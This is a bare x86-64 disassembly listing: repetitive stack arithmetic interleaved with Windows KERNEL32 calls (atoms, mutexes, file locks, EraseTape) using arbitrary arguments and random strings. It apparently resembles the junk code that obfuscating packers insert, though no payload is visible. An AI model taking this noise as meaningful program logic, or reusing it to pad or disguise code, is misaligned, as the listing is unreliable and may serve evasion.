sub eax, ecx
mov dword [rsp + 0xa978], eax
mov rax, qword [rsp + 0x13300]
mov rcx, qword [rsp + 0x13910]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140363ad0]
mov dword [rcx], eax
lea rax, [rsp + 0x2a18]
mov qword [rsp + 0x13ba8], rax
movzx eax, byte [rsp + 0x6bc]
movzx ecx, byte [rsp + 0x6c9]
sub eax, ecx
mov byte [rsp + 0x23b], al
movsx eax, byte [rsp + 0x6c2]
movsx ecx, byte [rsp + 0x40c]
and eax, ecx
mov byte [rsp + 0x628], al
mov rax, qword [rsp + 0x131b8]
movzx eax, word [rax]
mov word [rsp + 0x2a90], ax
lea rdx, [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x13940]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa910], eax
mov rax, qword [rsp + 0x131b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa87c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d0], eax
mov eax, dword [rsp + 0xaaa8]
mov ecx, dword [rsp + 0x920c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fe8], eax
movzx eax, word [rsp + 0x2a80]
mov rcx, qword [rsp + 0x13398]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x29e4], ax
mov rax, qword [rsp + 0x134f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b4]
sub eax, ecx
mov byte [rsp + 0x6c6], al
lea rax, [rsp + 0xa7dc]
mov qword [0x140363b10], rax
mov eax, dword [0x140363a64]
mov dword [rsp + 0xaab4], eax
lea rcx, [rsp + 0x41a78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13380]
mov ecx, dword [rsp + 0xaa88]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x71c4], eax
mov rax, qword [rsp + 0x13790]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e80], eax
lea rcx, str.VFP_UISx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2a94], ax
movzx eax, byte [0x14035e4a6]
movzx ecx, byte [rsp + 0x4bc]
shl eax, cl
mov rcx, qword [rsp + 0x13530]
mov byte [rcx], al
xor r9d, r9d
lea r8, [rsp + 0x137c8]
mov rdx, qword [rsp + 0x13a08]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa7b8], eax
mov rax, qword [rsp + 0x137e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13af0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13420]
mov word [rcx], ax
lea rax, [rsp + 0xaa7c]
mov qword [rsp + 0x13bb0], rax
lea rcx, [rsp + 0x41a18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xa978]
movzx ecx, al
mov eax, dword [0x140363a70]
sar eax, cl
mov rcx, qword [rsp + 0x13ac0]
mov dword [rcx], eax
lea rax, [rsp + 0x9e54]
mov qword [rsp + 0x13bb8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13bc0], rax
mov rax, qword [rsp + 0x13b70]
mov rcx, qword [rsp + 0x136c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140363a1c], eax
mov rax, qword [rsp + 0x13628]
mov ecx, dword [rsp + 0xa8bc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13418]
mov dword [rcx], eax
lea rax, [rsp + 0x1cc4]
mov qword [rsp + 0x13bc8], rax
lea rcx, str.TES9L
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2a70], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0x13830]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6bb]
and eax, ecx
mov byte [rsp + 0x40c], al
mov rax, qword [rsp + 0x13ae8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13948]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x13598]
movzx eax, byte [rax]
mov byte [rsp + 0x6ca], al
mov eax, dword [rsp + 0x9e80]
mov ecx, dword [rsp + 0xaa54]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ac8]
mov dword [rcx], eax
lea rax, [rsp + 0xa804]
mov qword [rsp + 0x13bd0], rax
movzx ecx, word [rsp + 0x2a94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a98], ax
mov r9d, 0x2425
xor r8d, r8d
lea rdx, [rsp + 0x13bc0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa9a8], eax
movzx eax, word [rsp + 0x2a80]
mov rcx, qword [rsp + 0x13398]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13778]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6be]
movzx ecx, byte [rsp + 0x6b9]
and eax, ecx
mov rcx, qword [0x140363a98]
mov byte [rcx], al
mov rax, qword [rsp + 0x13820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a50]
mov dword [rcx], eax
lea rax, [rsp + 0xaa04]
mov qword [rsp + 0x13bd8], rax
mov eax, dword [rsp + 0xaa84]
mov ecx, dword [rsp + 0x8428]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c34], eax
lea rax, [rsp + 0x7a24]
mov qword [rsp + 0x13be0], rax
movzx eax, word [rsp + 0x299c]
movzx ecx, word [rsp + 0x29a0]
sub eax, ecx
mov rcx, qword [rsp + 0x13398]
mov word [rcx], ax
mov rax, qword [rsp + 0x13670]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
xor eax, ecx
mov rcx, qword [rsp + 0x13458]
mov byte [rcx], al
lea rax, [rsp + 0xa9f0]
mov qword [rsp + 0x13be8], rax
mov rax, qword [rsp + 0x13b30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x138b8]
mov qword [rsp + 0x13bf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13bf0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13578]
mov dword [rcx], eax
movzx eax, byte [0x14035e48f]
mov byte [0x14035e4d6], al
mov rax, qword [rsp + 0x12fb8]
movzx eax, word [rax]
mov word [rsp + 0x2a9c], ax
mov rax, qword [rsp + 0x13420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
sar eax, cl
mov rcx, qword [rsp + 0x13778]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6bc]
mov rcx, qword [rsp + 0x138a0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x166], al
mov rax, qword [rsp + 0x131b0]
mov ecx, dword [rsp + 0xa8c4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa030], eax
mov rax, qword [rsp + 0x13770]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9dc], eax
lea rax, [rsp + 0xaaa4]
mov qword [rsp + 0x13bf8], rax
mov eax, dword [rsp + 0xa9d4]
mov ecx, dword [rsp + 0xa81c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13300]
mov dword [rcx], eax
mov r9d, 2
lea r8, [rsp + 0x12fb0]
mov rdx, qword [rsp + 0x13c00]
mov rcx, qword [rsp + 0x13990]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa9d0], eax
mov rax, qword [rsp + 0x13970]
mov eax, dword [rax]
mov dword [rsp + 0xaab8], eax
movzx eax, byte [rsp + 0x6ca]
mov rcx, qword [rsp + 0x13888]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b8], al
mov rax, qword [rsp + 0x135d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13400]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035cc14], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8f4], eax
mov rax, qword [rsp + 0x13370]
mov rcx, qword [0x140363a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6768], eax
lea rax, [rsp + 0x7dac]
mov qword [rsp + 0x13c08], rax
mov rax, qword [rsp + 0x134a8]
mov rcx, qword [rsp + 0x13658]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b2c], eax
lea rax, [rsp + 0x7a24]
mov qword [rsp + 0x13c10], rax
movzx eax, byte [0x140353573]
mov rcx, qword [rsp + 0x13a18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6be], al
mov rax, qword [rsp + 0x137e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13ba8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov rax, qword [rsp + 0x139d8]
movsx eax, word [rax]
mov rcx, qword [0x140363a48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11cc], ax
movsx eax, byte [rsp + 0x6b2]
movsx ecx, byte [rsp + 0x43e]
sar eax, cl
mov byte [rsp + 0x5fd], al
mov rax, qword [rsp + 0x13b78]
mov ecx, dword [rsp + 0x8414]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14035cc10], eax
lea rax, [rsp + 0xa774]
mov qword [rsp + 0x13c18], rax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x139e0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6c0], al
movzx ecx, word [rsp + 0x29ac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2984], ax
mov rax, qword [rsp + 0x13af0]
movzx eax, word [rax]
movzx ecx, word [0x140362afc]
or eax, ecx
mov word [rsp + 0x29e4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
lea rax, [rsp + 0xaa18]
mov qword [rsp + 0x13c20], rax
mov rax, qword [rsp + 0x13450]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7c88], eax
mov eax, dword [rsp + 0x7114]
mov dword [rsp + 0xaabc], eax
mov eax, dword [rsp + 0x71c4]
mov ecx, dword [0x14035cbdc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13760]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x184c]
sub eax, ecx
mov word [rsp + 0x2888], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13c28], rax
movzx ecx, word [rsp + 0x2a70]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29fc], ax
mov rax, qword [rsp + 0x133c0]
movzx eax, byte [rax]
mov rcx, qword [0x140363ac0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14035e48e], al
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov dword [rsp + 0xaac0], eax
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x13258]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13418]
mov dword [rcx], eax
lea rdx, [rsp + 0x45ce8]
mov rcx, qword [rsp + 0x13848]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa9c], eax
mov dword [rsp + 0x20], 0x34ea
mov r9d, 0x5fb
mov r8d, 0xcfd
mov edx, 0x2647
mov rcx, qword [rsp + 0x13940]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa968], eax
lea rax, [rsp + 0xa99c]
mov qword [rsp + 0x13c30], rax
mov rax, qword [rsp + 0x13658]
mov ecx, dword [rsp + 0xa9b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa68], eax
lea rax, [rsp + 0xa9c0]
mov qword [rsp + 0x13c38], rax
mov r9d, 0xe09
xor r8d, r8d
lea rdx, [rsp + 0x135e0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xaac4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x13560]
movsx eax, byte [rax]
mov rcx, qword [0x140363a90]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13a70]
mov byte [rcx], al
movsx eax, word [rsp + 0x2a10]
movsx ecx, word [rsp + 0x2990]
add eax, ecx
mov word [rsp + 0x2a3c], ax
lea rax, [rsp + 0x6c5]
mov qword [rsp + 0x13c40], rax
mov rax, qword [rsp + 0x13a90]
movzx eax, word [rax]
mov word [0x140362c1c], ax
mov eax, dword [rsp + 0x7a10]
mov ecx, dword [0x14035cc10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa954], eax
lea rax, [rsp + 0x75f0]
mov qword [rsp + 0x13c48], rax
movzx eax, word [rsp + 0x17d4]
movzx ecx, word [rsp + 0x23cc]
add eax, ecx
mov rcx, qword [rsp + 0x13398]
mov word [rcx], ax
movzx eax, byte [rsp + 0x3b7]
movzx ecx, byte [rsp + 0xb4]
xor eax, ecx
mov rcx, qword [rsp + 0x13548]
mov byte [rcx], al
lea rax, [rsp + 0xa974]
mov qword [rsp + 0x13c50], rax
mov rax, qword [rsp + 0x13af8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13408]
mov qword [rsp + 0x13c58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13c58]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xaa0c], eax
mov eax, dword [rsp + 0xaa40]
movzx ecx, al
mov eax, dword [rsp + 0xa9f0]
shl eax, cl
mov dword [rsp + 0xa32c], eax
mov eax, dword [rsp + 0xa8e8]
mov ecx, dword [rsp + 0xaa3c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13bb0]
mov dword [rcx], eax
mov rax, qword [0x140363b00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a0]
and eax, ecx
mov rcx, qword [0x140363b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x13430]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4bc]
and eax, ecx
mov rcx, qword [rsp + 0x13410]
mov byte [rcx], al
mov eax, dword [rsp + 0xa8d0]
mov dword [rsp + 0xaac8], eax
mov rax, qword [rsp + 0x13a68]
mov rcx, qword [rsp + 0x138a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8c0], eax
movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x6ba]
sub eax, ecx
mov byte [rsp + 0x92], al
movsx eax, word [rsp + 0x2a5c]
mov rcx, qword [rsp + 0x13378]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13590]
movzx eax, byte [rax]
mov byte [rsp + 0x6cb], al
movzx eax, word [rsp + 0x2888]
mov rcx, qword [rsp + 0x13af0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a88], ax
mov r9d, 2
lea r8, [rsp + 0x13980]
mov rdx, qword [rsp + 0x138f8]
mov rcx, qword [rsp + 0x13018]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa38], eax
mov rax, qword [rsp + 0x13738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13290]
mov dword [rcx], eax
mov rax, qword [rsp + 0x135d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa84]
or ecx, eax
mov eax, ecx
mov dword [0x14035cc18], eax
lea rax, [rsp + 0x6d94]
mov qword [rsp + 0x13c60], rax
mov rax, qword [0x140363a38]
mov ecx, dword [rsp + 0x924c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13438]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaa88]
mov dword [rsp + 0xaacc], eax
movzx eax, byte [rsp + 0x6b9]
movzx ecx, byte [rsp + 0x6b7]
shl eax, cl
mov rcx, qword [rsp + 0x13928]
mov byte [rcx], al
movzx eax, word [rsp + 0x298c]
movzx ecx, word [rsp + 0x2a58]
xor eax, ecx
mov word [rsp + 0x29d0], ax
mov rax, qword [rsp + 0x138f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaa24]
sar eax, cl
mov dword [rsp + 0xa3a8], eax
mov rax, qword [rsp + 0x138d8]
mov rcx, qword [rsp + 0x136b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa9dc], eax
lea rax, [rsp + 0xa9e4]
mov qword [rsp + 0x13c68], rax
mov eax, dword [rsp + 0xa350]
mov ecx, dword [rsp + 0xa8d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x1403639a8]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.Phm9NPGkn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13c70], rax
movzx eax, word [rsp + 0x29a8]
movzx ecx, word [rsp + 0x184c]
or eax, ecx
mov rcx, qword [rsp + 0x13838]
mov word [rcx], ax
mov rax, qword [rsp + 0x13c40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13518]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13630]
mov byte [rcx], al
mov rax, qword [rsp + 0x13250]
movzx eax, byte [rax]
mov byte [rsp + 0x6cc], al
movsx eax, word [rsp + 0x2a9c]
mov rcx, qword [rsp + 0x13950]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x139d8]
mov word [rcx], ax
lea rax, [rsp + 0x6768]
mov qword [rsp + 0x13c78], rax
mov eax, dword [rsp + 0xa8c0]
mov ecx, dword [rsp + 0x9784]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13798]
mov dword [rcx], eax
movzx eax, byte [0x14035e4a6]
mov rcx, qword [rsp + 0x138b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b8], al
mov rax, qword [rsp + 0x13ba8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a14]
sub eax, ecx
mov word [rsp + 0x1a2c], ax
lea rax, [rsp + 0xa960]
mov qword [0x140363b18], rax
mov rax, qword [rsp + 0x13a48]
mov eax, dword [rax]
mov ecx, dword [0x140363b08]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ae0]
mov dword [rcx], eax
lea rax, [rsp + 0xaab4]
mov qword [rsp + 0x13c80], rax
mov eax, dword [rsp + 0xa988]
mov ecx, dword [rsp + 0xa9dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9a4], eax
mov rax, qword [rsp + 0x13788]
movzx eax, byte [rax]
mov byte [rsp + 0x6cd], al
movzx eax, word [rsp + 0x19f8]
mov rcx, qword [rsp + 0x132f8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13838]
mov word [rcx], ax
mov rax, qword [rsp + 0x13b80]
mov ecx, dword [rsp + 0x717c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7e54], eax
lea rdx, [rsp + 0x45bd0]
mov rcx, qword [rsp + 0x137b0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa9f4], eax
lea rax, [0x1403639b8]
mov qword [rsp + 0x13c88], rax
mov eax, dword [rsp + 0xaa78]
mov rcx, qword [rsp + 0x131b0]
mov qword [rsp + 0x13c90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13c90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa8d0], eax
mov eax, dword [0x14035cc18]
movzx ecx, al
mov eax, dword [rsp + 0x6b2c]
sar eax, cl
mov dword [0x140363a1c], eax
lea rax, [rsp + 0xa7d8]
mov qword [rsp + 0x13c98], rax
mov rax, qword [rsp + 0x13998]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x131b8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a40], ax
lea rdx, [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaad0], eax
movsx eax, byte [rsp + 0x6ba]
movsx ecx, byte [rsp + 0x6c7]
and eax, ecx
mov rcx, qword [rsp + 0x132e8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6b7]
mov rcx, qword [rsp + 0x137b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x328], al
mov rax, qword [rsp + 0x13a20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a18]
or eax, ecx
mov word [rsp + 0x29dc], ax
mov eax, dword [rsp + 0xaa0c]
mov dword [rsp + 0xaad4], eax
mov rax, qword [rsp + 0x135b0]
mov ecx, dword [rsp + 0xaa3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3f4], eax
mov rax, qword [rsp + 0x133e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13558]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x2530
mov r9d, 0x141b
mov r8d, 0xb07
mov edx, 0x3cb9
mov rcx, qword [rsp + 0x13848]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa8b8], eax
lea rax, [rsp + 0x2a54]
mov qword [0x140363b20], rax
lea rax, [rsp + 0x898c]
mov qword [rsp + 0x13ca0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13ca8], rax
mov rax, qword [rsp + 0x13608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x138a8]
mov dword [rcx], eax
lea rax, [rsp + 0xa4c4]
mov qword [rsp + 0x13cb0], rax
mov rax, qword [rsp + 0x13488]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7118], eax
lea rax, [rsp + 0x4bc]
mov qword [rsp + 0x13cb8], rax
mov rax, qword [rsp + 0x137e0]
movzx eax, word [rax]
movzx ecx, word [0x140362c1c]
add eax, ecx
mov rcx, qword [rsp + 0x13ae8]
mov word [rcx], ax
mov eax, dword [rsp + 0xa9b4]
mov ecx, dword [rsp + 0xaa18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13380]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13460]
mov eax, dword [rax]
mov dword [rsp + 0xaad8], eax
lea rax, [rsp + 0x2a78]
mov qword [0x140363b28], rax
mov rax, qword [0x140363a90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13918]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6c7], al
movzx eax, word [rsp + 0x2a88]
mov rcx, qword [rsp + 0x135f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x26a8], ax
movzx eax, byte [rsp + 0x256]
mov rcx, qword [rsp + 0x13678]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13890]
mov byte [rcx], al
mov eax, dword [rsp + 0x6304]
mov rcx, qword [rsp + 0x12f90]
mov qword [rsp + 0x13cc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13cc0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xaad4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x13a50]
mov eax, dword [rax]
mov dword [rsp + 0xaadc], eax
mov rax, qword [rsp + 0x13840]
mov eax, dword [rax]
mov rcx, qword [0x140363998]
mov qword [rsp + 0x13cc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13cc8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa9c0], eax
lea rax, [rsp + 0xaabc]
mov qword [rsp + 0x13cd0], rax
mov eax, dword [rsp + 0xaaa0]
mov ecx, dword [rsp + 0xaa58]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8398], eax
mov rax, qword [rsp + 0x13a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x138b0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13468]
mov byte [rcx], al
movzx eax, word [rsp + 0x2a30]
mov rcx, qword [rsp + 0x13420]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14035cc00], ax
lea rax, [rsp + 0xa7dc]
mov qword [rsp + 0x13cd8], rax
mov rax, qword [rsp + 0x13508]
mov eax, dword [rax]
mov ecx, dword [0x14035cbf8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa350], eax
lea rax, [rsp + 0xa9e0]
mov qword [rsp + 0x13ce0], rax
mov rax, qword [rsp + 0x13490]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
movzx eax, word [rsp + 0x29c8]
movzx ecx, word [rsp + 0x29d0]
or eax, ecx
mov word [rsp + 0x1778], ax
lea rax, [rsp + 0x20a]
mov qword [rsp + 0x13ce8], rax
mov rax, qword [rsp + 0x13250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x136a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x134f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13950]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13b58]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1f1c], ax
mov eax, dword [rsp + 0xaa54]
mov dword [0x140363b0c], eax
mov rax, qword [rsp + 0x13c18]
mov ecx, dword [rsp + 0xaa60]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a80], eax
movzx eax, byte [0x14035e4d5]
mov byte [rsp + 0x6ce], al
mov rax, qword [rsp + 0x13448]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13ae8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a80], ax
mov rax, qword [rsp + 0x13bd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13578]
mov dword [rcx], eax
lea rax, [0x140363a20]
mov qword [rsp + 0x13cf0], rax
mov eax, dword [rsp + 0xa398]
mov rcx, qword [rsp + 0x13730]
mov qword [rsp + 0x13cf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13cf8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x138a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13a68]
mov eax, dword [rax]
mov dword [rsp + 0xaae0], eax
mov rax, qword [rsp + 0x131f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13698]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6b9], al
mov rax, qword [rsp + 0x13758]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a4]
sar eax, cl
mov rcx, qword [0x140363b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x13488]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa944]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
lea rax, [0x140363a70]
mov qword [rsp + 0x13d00], rax
mov rax, qword [rsp + 0x13478]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa84], eax
mov rax, qword [rsp + 0x139a0]
mov rcx, qword [rsp + 0x13ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9d18], eax
mov rax, qword [rsp + 0x13a68]
mov rcx, qword [rsp + 0x13020]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x628]
and eax, ecx
mov rcx, qword [rsp + 0x134f8]
mov byte [rcx], al
mov rax, qword [0x140363b28]
movzx eax, word [rax]
mov word [rsp + 0x2aa0], ax
movzx eax, byte [rsp + 0x6cb]
mov rcx, qword [rsp + 0x13368]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11c], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7bc], eax
lea rax, [rsp + 0x2a14]
mov qword [0x140363b30], rax
